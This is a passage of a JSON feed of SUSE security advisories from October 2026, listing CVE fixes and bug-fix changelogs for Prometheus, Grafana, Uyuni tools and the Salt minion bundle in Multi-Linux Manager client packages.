available.","status":"published","published":"2026-11-06T16:07:22Z","modified":"2026-11-06T17:15:03.922437666Z","updated_at":"2026-11-06T17:29:53.772048Z"},{"id":"SUSE-SU-2026:4585-1","title":"Security update 5.2.1 for Multi-Linux Manager Client Tools","description":"This update fixes the following issues:\n\ngolang-github-prometheus-prometheus was updated to version 3.13.2:\n\n- Security issues:\n\n  * CVE-2026-39821: Fixed validation bypass and privilege escalation in Punycode label handling (bsc#1266608)\n  * CVE-2026-56852: Fixed infinite loop on truncated or invalid UTF-8 input in unicode/norm handling (bsc#1272102)\n  * CVE-2026-44990: Fixed stored XSS in the new React UI by sanitizing disallowed xmp elements (bsc#1275205)\n  * CVE-2026-53606: Fixed incomplete URI scheme validation in sanitize-html that could enable XSS (bsc#1269966)\n  * CVE-2026-2303: Fixed heap out-of-bounds read in GSSAPI error handling in mongo-driver (bsc#1269856)\n  * CVE-2025-4673: Fixed credential leaks by stopping HTTP client header forwarding on redirects (bsc#1275206)\n  * CVE-2023-45289: Fixed credential leaks by stopping header and cookie forwarding on HTTP redirects (bsc#1275207)\n  * CVE-2025-61686: Fixed unauthorized file access and path traversal in react-router storage (bsc#1270711)\n  * CVE-2026-40181: Fixed open redirect risks to external domains via relative paths in react-router (bsc#1267528)\n  * CVE-2026-42342: Fixed DoS risks via unbounded path expansion in the manifest endpoint (bsc#1267538)\n  * CVE-2026-42211: Fixed remote code execution risks from prototype pollution in react-router (bsc#1267534)\n  * CVE-2026-39882: Fixed memory exhaustion via uncapped HTTP response reading in OpenTelemetry (bsc#1274221)\n  * Fixed potential denial-of-service vulnerabilities by updating the gRPC dependency\n  * Fixed memory exhaustion and DoS by rejecting snappy-compressed requests exceeding 32MB limit\n\n- Bug fixes and changes:\n\n  * Fixed scrape manager failing to reload properly when SD configuration changes rapidly.\n  * Prevent memory leak in remote-write path when the receiving endpoint is unavailable.\n  * Native Histograms are no longer experimental. They are fully supported for production workloads.\n  * Added support for OpenTelemetry traces within the Prometheus UI to correlate metrics and traces.\n  * TSDB compaction speed optimized by improving the block merging algorithm.\n  * Allow scraping of multiple targets using a single HTTP/2 connection to reduce overhead.\n  * Added new metrics to monitor the health of the rule evaluation engine.\n  * Incompatible: This affects scraping, remote read and write, alerting, and SD. Network paths might need adjustments\n    to avoid redirects.\n  * Incompatible: Rule group pagination tokens now use SHA-256 instead of MD5. Custom API consumers must adapt to the\n    new longer token format.\n  * Added 'group_limit' parameter to PromQL aggregations to restrict the number of results.\n  * Incompatible: promtool relative paths in config files now resolve relative to the config directory itself, instead\n    of the current working directory.\n  * Support exporting TSDB blocks directly to cloud storage via the admin API.\n  * Incompatible: Deprecated remote-write metrics like prometheus_remote_storage_samples_total are removed in favor of\n    prometheus_wal_watcher_records_read_total.\n  * Significant query performance boost for high-cardinality regex matchers.\n  * Introduce a new UI interface for safely deleting specific time series data directly.\n  * Added dynamic relabeling actions to extract substrings using regex capture groups.\n  * Fixed UI displaying incorrect time ranges after a timezone change.\n  * Bumped firewalld-prometheus-config to version 0.2 bumping OpenTelemetry to 1.43.0\n\ngrafana was updated to version 12.4.10:\n\n- Security issues:\n\n  * CVE-2026-17183: Fixed exposing data accessible through Grafana's configured datasource credentials (bsc#1275934)\n  * CVE-2026-2303: Fixed heap out-of-bounds read in GSSAPI error handling in mongo-driver (bsc#1269841)\n  * CVE-2026-17033: Fixed stored cross-site scripting risks via malicious Alertmanager generator URLs (bsc#1276426)\n  * CVE-2026-73501: Fixed fail-open authentication bypass in kin-openapi default handlers (bsc#1276973)\n  * CVE-2026-19475: Fixed DoS risks in PostgreSQL Datasource by checking timeGroup macros (bsc#1278307)\n  * CVE-2026-14199: Fixed auth bypass or session takeover via Auth Proxy cache key collision (bsc#1278322)\n  * CVE-2026-19197: Fixed access control and authorization checks in dashboard snapshots (bsc#1277025)\n  * CVE-2026-56852: Fixed infinite loop on truncated or invalid UTF-8 input in unicode/norm (bsc#1272008)\n  * CVE-2026-41178: Fixed denial-of-service risks in OpenTelemetry baggage parsing (bsc#1276658)\n  * CVE-2026-39882: Fixed memory exhaustion via uncapped HTTP response reading in OpenTelemetry (bsc#1274217)\n  * CVE-2026-8595: Fixed stored XSS via malicious dashboard field names in table panels (bsc#1271557)\n  * CVE-2026-42127: Fixed DoS risks in the public dashboard query endpoint (bsc#1268868)\n  * CVE-2026-9029: Fixed arbitrary code execution and script injection in the geomap panel (bsc#1272328)\n  * CVE-2026-33814: Fixed infinite loop in HTTP/2 transport during framesize check (bsc#1265763)\n  * CVE-2026-8609: Fixed pre-authentication denial-of-service risks in OAuth login routes (bsc#1271330)\n  * CVE-2026-1229: Fixed incorrect value calculation in ecc/p384 Package (bsc#1265525, bsc#1262187)\n  * CVE-2025-12141: Fixed information disclosure of secure settings via contact point modification (bsc#1262187)\n  * CVE-2026-21723: Fixed out-of-memory and denial-of-service risks in templates test endpoint (bsc#1272427)\n  * CVE-2026-41606: Fixed denial-of-service risks from nested messages in Apache Thrift parser (bsc#1263330)\n\n- Bug fixes and changes:\n\n  * Dashboards: Fix adhoc and groupby variable datasource on UI import\n  * Dashboards: Fix version dates and user display names in the legacy version history page\n  * Dashboard Import: Labels in v2 schema\n  * Azure Monitor: fix migration for dimension filters\n  * Dashboards: Get annotations and dashboard endpoint performance improvements\n  * DashboardDS: Fix Mixed panels with a time override stuck in permanent loading\n  * Alerting: Add protected fields authorization check to provisioning API\n  * Alerting: Return 403 instead of 500 on contact point provenance mismatch\n  * Jaeger: Handle gzip, deflate, and brotli compressed API responses\n  * Alerting: fix ORM table mapping bug causing SELECT alert_rule columns FROM user on PostgreSQL\n\nmgr-push was updated to version 5.2.5:\n\n- Removed token based authentication mechanism for package_push (bsc#1230949)\n\nspacecmd was updated to version 5.2.10:\n\n- Pre-filter errata in system_applyerrata to avoid using API calls for all existing errata (bsc#1267261)\n- Updated translation strings\n\nspacewalk-client-tools was updated to version 5.2.7:\n\n- Updated translation strings\n\nuyuni-tools was updated to version 5.2.17:\n\nSecurity issues fixed:\n\n- CVE-2026-39821: Drop the direct dependency on golang.org/x/net (bsc#1266481)\n\nBug fixes and changes:\n\n- Version 5.2.17-0:\n\n  * Bump the default image tag to 5.2.1\n  * Reload systemd daemon before restarting services (bsc#1270033)\n  * Check all supported locations for CA file in rotation check script\n  * Detect and fix legacy service file (bsc#1268755)\n  * Use healthcheck cmd from the image (bsc#1273144)\n\n- Version 5.2.16-0:\n\n  * Reverted usage of sdnotify as it causes issues with Podman (bsc#1270399, bsc#1270398)\n\n- Version 5.2.15-0:\n\n  * Added requirement for at least Podman v4.7.2\n  * Send READY notification to systemd only once healthy (bsc#1263823)\n\n- Version 5.2.14-0:\n\n  * Include the server environment file in the backup (bsc#1268649)\n  * Added mgradm commands for SSL CA and certificate rotation\n\n- Version 5.2.13-0:\n\n  * Check and warn if CA certificate isn't marked as critical\n  * Disable SSL on database during split (bsc#1267980)\n  * Do not call uyuni-postgres-config.sh in mgradm (bsc#1267980)\n  * Check backup status only after database is started (bsc#1262492)\n\nvenv-salt-minion:\n\n- Security issues:\n\n  * CVE-2026-13346: Fixed an issue where malicious package indexes could install unauthorized files (bsc#1273094)\n  * CVE-2026-0864: Fixed custom configuration injection risks caused by improper line-ending validation (bsc#1269066)\n  * CVE-2026-1502: Fixed web request header manipulation to bypass proxy security protections (bsc#1261969)\n  * CVE-2026-3276: Fixed potential system slow down or freeze when processing crafted Unicode text (bsc#1267581)\n  * CVE-2026-4360: Fixed directory escape risks during archive extraction (bsc#1269959)\n  * CVE-2026-4786: Fixed command injection risks when processing malicious browser links (bsc#1262319)\n  * CVE-2026-6019: Fixed a flaw where cookies could be manipulated to run malicious script (bsc#1262654)\n  * CVE-2026-6100: Fixed crashes or unauthorized code execution during file decompression (bsc#1262098)\n  * CVE-2026-7210: Fixed system freezes triggered by parsing malicious XML files (bsc#1264962)\n  * CVE-2026-7774: Fixed path traversal risks where malicious archives write files outside targets (bsc#1267821)\n  * CVE-2026-8328: Fixed connections being redirected to unsafe systems by compromised FTP servers (bsc#1265268)\n  * CVE-2026-11940: Fixed a bug where extracting malicious archives could overwrite system files (bsc#1268977)\n  * CVE-2026-11972: Fixed infinite loop and system freeze risks during archive decompression (bsc#1269788)\n  * CVE-2026-15308: Fixed crashes when parsing web pages with repetitive, incomplete structures (bsc#1271192)\n  * CVE-2026-8643: Fixed malicious package installs overwriting arbitrary local files (bsc#1266669)\n  * CVE-2026-6357: Fixed package self-updates loading unauthorized modules during install (bsc#1263442)\n  * CVE-2026-3219: Fixed validation failures where combined ZIP archives were not rejected (bsc#1262429)\n  * CVE-2026-1703: Fixed package installations writing files outside target directories (bsc#1257599)\n  * CVE-2024-22195: Fixed HTML template manipulation allowing unauthorized script execution (bsc#1218722)\n  * CVE-2026-45409: Fixed domain name encoding bypass allowing imitation websites (bsc#1265413)\n  * CVE-2026-44431: Fixed data leaks where sensitive headers were sent to external origins (bsc#1265267)\n  * CVE-2026-49825: Fixed missing script cleanup from namespaces in web content (bsc#1270285)\n  * CVE-2026-41066: Fixed leakage of private system data via malicious XML file parsing (bsc#1263254)\n  * CVE-2026-3446: Fixed validation bypasses where hidden excess Base64 data was ignored (bsc#1261970)\n  * CVE-2026-3479: Fixed path traversal risks when loading packages from insecure locations (bsc#1259989)\n  * CVE-2026-27459: Fixed buffer overflow vulnerabilities caused by large cookie headers (bsc#1271428)\n  * CVE-2026-49853: Fixed credentials leakage during redirects to cross-origin servers (bsc#1268395)\n  * CVE-2026-49854: Fixed crashes or unauthorized memory access in compiled components (bsc#1268396)\n  * CVE-2026-49855: Fixed crashes caused by excessively compressed files exhausting memory (bsc#1268397)\n  * CVE-2026-40475: Fixed silent data truncation where hidden null characters bypass checks (bsc#1262803)\n  * CVE-2025-13836: Fixed memory exhaustion risk by limiting HTTP response reading size (bsc#1254400)\n\n- Bug fixes and changes:\n\n  * Updated bundled python module pip to 25.0.1\n  * Updated bundled python module jinja2 to 3.1.6\n  * Updated bundled python module lxml to 6.1.1\n  * Prevent broken Salt Bundle on Ubuntu due regression in 'tar' package from Ubuntu repositories (bsc#1271613)\n  * Remove unused paramiko python module from the bundle.\n  * Switch apache2ctl to apachectl for SUSE OSes (bsc#1252286)\n  * Support attrlist in ldap.managed (bsc#1257151)\n  * Use AsyncHTTPClient in salt.utils.http (bsc#1268325)\n  * Decode binary pillars for salt-ssh to avoid exceptions (bsc#1263822)\n\n","status":"published","published":"2026-10-08T08:24:34Z","modified":"2026-10-08T19:15:05.011279037Z","updated_at":"2026-11-02T15:54:05.838224Z"},{"id":"SUSE-SU-2026:4600-1","title":"Security update for grafana, system-user-grafana","description":"This update for grafana, system-user-grafana fixes the following issues:\n\n- Update to version 12.4.10:\n  * Security:\n    CVE-2026-17183: Fix exposing data accessible through Grafana's\n                    configured datasource credentials (bsc#1275934)\n    CVE-2026-2303: Drop dependency on vulnerable\n                   go.mongodb.org/mongo-driver (bsc#1269841)\n    CVE-2026-17033: Fix stored XSS via external Alertmanager\n                    generatorURL (bsc#1276426)\n    CVE-2026-73501: Fix fail-open authentication bypass in\n                    github.com/getkin/kin-openapi (bsc#1276973)\n    CVE-2026-19475: Fix DoS in PostgreSQL Datasource (bsc#1278307)\n    CVE-2026-14199: Fix session takeover via Auth Proxy cache key\n                    collision (bsc#1278322)\n  * Bug fixes:\n    Dashboards: Fix adhoc and groupby variable datasource on UI\n                import\n    Dashboards: Fix version dates and user display names in the\n                legacy version history page\n- Update to version 12.4.9:\n  * Features and enhancements:\n    Dashboard Import: Labels in v2 schema\n  * Bug fixes:\n    Azure Monitor: fix migration for dimension filters\n- Update to version 12.4.8:\n  * Security:\n    CVE-2026-19197: Fix access control in dashboard snapshots\n                    (bsc#1277025)\n- Update to version 12.4.7:\n  * Security:\n    CVE-2026-56852: Fix infinite loop on truncated/invalid UTF-8\n                    input in golang.org/x/text/unicode/norm\n                    (bsc#1272008)\n  * Features and enhancements:\n    Dashboards: Get annotations and dashboard endpoint performance\n                improvements\n  * Bug fixes:\n    DashboardDS: Fix Mixed panels with a time override stuck in\n                 permanent loading\n- Update to version 12.4.6:\n  * Security:\n    CVE-2026-41178: Fix opentelemetry-go's baggage parsing\n                    (bsc#1276658)\n  * Features and enhancements:\n    Alerting: Add protected fields authorization check to\n              provisioning API\n    Alerting: Return 403 instead of 500 on contact point provenance\n              mismatch\n  * Bug fixes:\n    Jaeger: Handle gzip, deflate, and brotli compressed API\n            responses\n    Alerting: fix ORM table mapping bug causing SELECT alert_rule\n              columns FROM user on PostgreSQL\n- Drop 0005-Bump-edwards25519.patch\n\n    CVE-2026-39882: Prevent memory exhaustion DoS in OpenTelemetry\n                    OTLP HTTP exporters by updating to v1.43.0.\n                    (bsc#1274217)\n    CVE-2026-8595: Fix stored XSS in the table panel (bsc#1271557)\n    CVE-2026-42127: Fix DoS through memory exhaustion in grafana'a\n                    public dashboard query endpoint (bsc#1268868)\n    CVE-2026-9029: Fix arbitrary code execution and information\n                   disclosure via XSS in geomap panel (bsc#1272328)\n    CVE-2026-33814: Fix infinite loop in HTTP/2 transport by\n                    updating golang.org/x/net (bsc#1265763)\n    CVE-2026-8609: Fix pre-authentication DoS in the OAuth login\n                   route (bsc#1271330)\n  * CVE-2026-1229: Update github.com/cloudflare/circl to fix\n                   producing incorect output for specific inputs\n                   (bsc#1265525)\n                    (bsc#1262187)\n  * CVE-2026-21723: Fix DoS vulnerability in Templates Test\n                    endpoint (bsc#1272427)\n- CVE-2026-41606: Fix potential DoS in Apache Thrift (bsc#1263330)\n- Build only for SUSE distributions\n","status":"published","published":"2026-10-09T08:54:30Z","modified":"2026-10-09T18:15:03.73954395Z","updated_at":"2026-11-02T15:54:05.838224Z"}]}}